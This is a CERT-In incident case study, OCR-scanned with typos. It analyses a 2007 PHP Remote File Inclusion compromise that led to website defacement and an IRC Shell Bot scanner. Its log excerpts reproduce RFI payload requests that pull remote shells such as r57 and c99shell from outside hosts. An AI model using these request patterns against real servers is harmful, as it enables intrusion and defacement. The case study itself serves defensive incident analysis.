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CERT-In CASE STUDY - CICS-2008-01

Website compromise and launch of further attacks by
exploiting PHP Remote File Injection Vulnerability

Overview

CERT-In tracks defacement of Indian websites on a regular basis. An incident of website
defacement of ‘ABC” Organization was reported to CERT-In in August, 2007.

The Artifact Analysis Team of CERT-In thoroughly analyzed the attack and identified
the vulnerabilities which were being exploited to compromise the website. After
compromising the website, the attacker used the compromised host to compromise other
websites over the internet.

CERT-In devised appropriate countermeasures to secure webserver and web applications
trom such type of attacks and communicated to the atfected Organization.

Attack Analysis

The vietim ‘ABC’ Organization was having the following configuration:

Operating system:  Linux (Fedora)
Webserver: Apache version 2.0.53
Web application: PHP version 4.3.9
Safe Mode = off

Method wget, curl, GET

Disable function = None

During investigation of the attack, it was observed that the victim webserver has been
contigured with insecure PHP contiguration.

As an example, include () tunction in PHP can be used, providing a URL into an
unchecked variable called arbitrarily in an include statement, followed by the execution
of the included script.

In this scenario the attacker exploited RFI (Remote File Inclusion) vulnerability to host a
malicious PHP script onto a remote host. It passed a URL including the path of remote
malicious host to execute the script onto victim webserver.

The vietim webserver was allowing execution of remote script onto its webserver and it
was also having older version of Apache and PHP software, which were vulnerable to
exploitation of numerous vulnerabilities.
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The analysis of the webserver log (access log) revealed that the attacker has attempted
remote access to organization and further exploited the file inclusion vulnerabilities n
PHP version contigured on the victim server to execute numerous shell seripts [Figure 1]

XXX.X%.122.165 - - [15/Jul/2007:12:09:40 +0530] "GET
/parxxxxx/index.php?body=http://usuxxxx.com.ar/Ixxxxx/cmd.jpg? HTTP/1.1" 200 21494

XXX. XX.122.165 - - [15/Jul/2007:12:09:59 +0530] "POST / parxxxxx /index.php?body=http://
usuxxxx.com.ar/Ixxxxx/cmd.jpg?&action=upload&chdir=/var/www/html/parxxxxxx/ HTTP/1.1" 200 21486

XXX. XX.122.165 - - [15/Jul/2007:12:10:08 +0530] "GET / parxxxxx /index.php?body=http://

usuxxxx.com.ar/Ixxxxx/cmd.jpg?&action=backtool&chdir=/var/www/html/paroxxx/&write=no HTTP/1.1"
200 21494

XXX, XX.122.165 - - [15/Jul/2007:12:10:23 +0530] "GET / parxxxxx /index.php?body=http://
usuxxxx.com.ar/lxxxxx/cmd.jpg?&chdir=/var/www/html/ HTTP/1.1" 200 108559

XXX, XX.122.165 - - [15/Jul/2007:12:10:40 +0530] "GET / parxxxxx /index.php?body=http://
usuxxxx.com.ar/Ixxxxx/cmd.jpg?&action=edit&chdir=/var/www/html/&file=ip.txt HTTP/1.1" 200 109670

XXX. Xx.122.165 - - [15/Jul/2007:12:11:16 +0530] "POST / parxxxxx /index.php?body=http://
usuxxxx.com.ar /cmd.jpg?&action=save&chdir=/var/www/html/&file=ip.txt HTTP/1.1" 200 108576

XXX. XX.122.165 - - [15/Jul/2007:12:11:54 +0530] "GET / parxxxxx /index.php?body=http://

usuxxxx.com.ar/cmd.jpg?&action=rename&chdir=/var/www/html/&file=ip.txt&newname=index.htm&mod
e=edit HTTP/1.1" 200 108559

Figure 1: Attacker attempted to run numerous PHP shell scripts

The shell scripts are found mostly hosted on free hosting domains [Figure 2]

http://www. Dooooox] . kit.net/r57.txt??
http://[xxxxxxx].altervista.org/r57.txt??
http://www.geocities.com/[xxxxxxxx]/Terget.txt?
http://freewebs.com/[xxxxxxx]/irc/r100.txt?

http:// [ooooax] . lycos.fr/hudmenty/c99shell. txt?

Figure 2: Shell scripts hosted on domains

XxX. Xxx.38.254 - - [16/Jul/2007:00:34:49 +0530] "GET
/xxxxxxxx/index.php?body=http://xxxxx175.altervista.org/r57.txt?? HTTP/1.1" 200 31327

XXX. XX.38.254 - - [16/Jul/2007:00:35:28 +0530] "POST
Dxxxxxxxxx/index.php?body=http://xxxxx175.altervista.org/r57.txt?? HTTP/1.1" 200 38804

XXX. xx.38.254 - - [16/Jul/2007:00:36:22 +0530] "POST
Ixxxxxxxxx/index.php?body=http://xxxxx175.altervista.org/r57.txt?? HTTP/1.1" 200 60853

XXX. XX.38.254 - - [16/Jul/2007:00:37:06 +0530] "POST
Dxxxxxxxxx/index.php?body=http://xxxxx175.altervista.org/r57.txt?? HTTP/1.1" 200 44108

XXX. Xx.38.254 - - [16/Jul/2007:00:45:06 +0530] "GET /profile/images/ HTTP/1.1" 200 1411

XXX. XX.38.254 - - [16/Jul/2007:00:47:19 +0530] "GET /profile/images/fuxxxx.html| HTTP/1.1" 200 204
Figure 3: Attacker successtully deface the website
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The PHP script was injected remotely which allows the attacker to collect system
mnformation and execute commands. The attacker has successtully performed directory
browsing, files uploading function to deface the website.

Software: Apache /2.0 IFedora)l
uname -a: Linux r- ' T 01 2.0.12-1.1381_FC3smp #1 SMP Fri Oct 21 04:03:26 EDT 2005 i666
uid=48{apache) gid=48{apache) groups=48{apache)
Safe-mode:
drwsr-sr-x
Free 1.77 GB of 9.61 GB (18.43%)

[Back] [Forward]
[Logout]

] index.php (2.2 KB) —FWHP-HF-R

Figure 4: PHP shell- C99Shell

The attacker used the victimized website to disguise his IP address and installed a
program in the webserver which could be used as a attack (RFI attack) launching vector
tor other systems in future.

A text file “scan alltheweb.txt” has been uploaded remotely at the location
“/profile/images/”. The text file was a malicious perl “Shell Bot” program which is
widely in circulation for scanning the web for vulnerable systems to launch RFT attacks.
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Address | ] http:/) I 01 O il jimages)

Index of /profile/images

MNearne Last modified

5 Parent Directory

W e = 0S-Aug-2005 12:05
e 23-Aug-2005 16:19
'h‘ 22-Aug-2005 15:49
& 25-Apr-2z005 13:15
a 19-Apr-2005 16:04
@ zz-Jun-z006 11:19
b 25-Apr-2005 13:13
EE P - 04-0Oct-2005 15:50
scan alltheweb.txt 16-Jul-J#i oz:07v
Apachel. 0.55 (Fedora) Server at Fort 80

Sige Description
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Z5K
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Figure 5: Malicious file uploaded onto the victim webserver

The analysis of the malicious file revealed that running the malicious perl program, tried
to connect to IRC server. On successful login it joins a channel and listens for commands
trom remote IRC Server. The Bot program made private communication with the server.
The bot program will scan the web for PHP exploitable vulnerability. Once 1t finds the
vulnerable system, test the command shell scripts to launch RFT attack.
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